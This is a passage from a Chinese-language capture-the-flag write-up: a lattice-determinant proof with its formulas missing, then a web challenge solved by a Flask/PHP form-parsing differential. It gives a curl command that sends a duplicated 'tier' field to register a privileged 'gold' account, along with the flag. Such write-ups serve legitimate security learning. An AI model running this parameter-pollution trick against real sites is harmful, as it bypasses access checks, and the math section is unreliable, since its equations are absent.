這邊簡單解釋一下 之所以成立的原因。先回到原本定義 的關係那邊:

這邊一樣可以改寫成矩陣形式:

這邊有個很重要的關鍵是 和 是同個 lattice 的兩個不同 basis。而 lattice 其實有個很重要的性質就是它的 volume 是個定值，並不會因為 basis 不同改變。

實際上因為 比較短，所以還能得到 的關係。

對於方陣來說 ，而如果非方陣的話則是 。 (這邊是以 row vector 當作 basis)

因此這邊有個 的關係，同時把上面的 矩陣轉置乘自己可得:

然後全部取 得到:

也就是說 ，但同時又有 所以 。

而這邊的 和前面說的那個矩陣其實只差一個轉置的關係，所以行列式相同:

web

UNDER-CONSTRUCTION

這題很無聊，就是有 flask 和 php 兩邊的網站，然後有個註冊 form 上面可以自己填 tier，如果 tier 是 gold 就有 flag。不過 flask 那邊註冊時它會檢查 tier 不讓你填 gold，不過註冊完後還會透過 requests 對 php 那邊只有 flask 能碰到的 api 再弄一次註冊。

這邊的關鍵在於 flask 和 php 在 parse form data 時的行為不同，重複出現的 key 一個取前者一個取後者，所以透過這種 parser differential 就能註冊一個有 gold tier 的帳號拿 flag:

1
2
curl -v 'https://under-construction-web.2023.ctfcompetition.com/signup' -F 'username=1234xx' -F 'password=1234yy' -F 'tier=green' -F 'tier=gold'
# CTF{ff79e2741f21abd77dc48f17bab64c3d}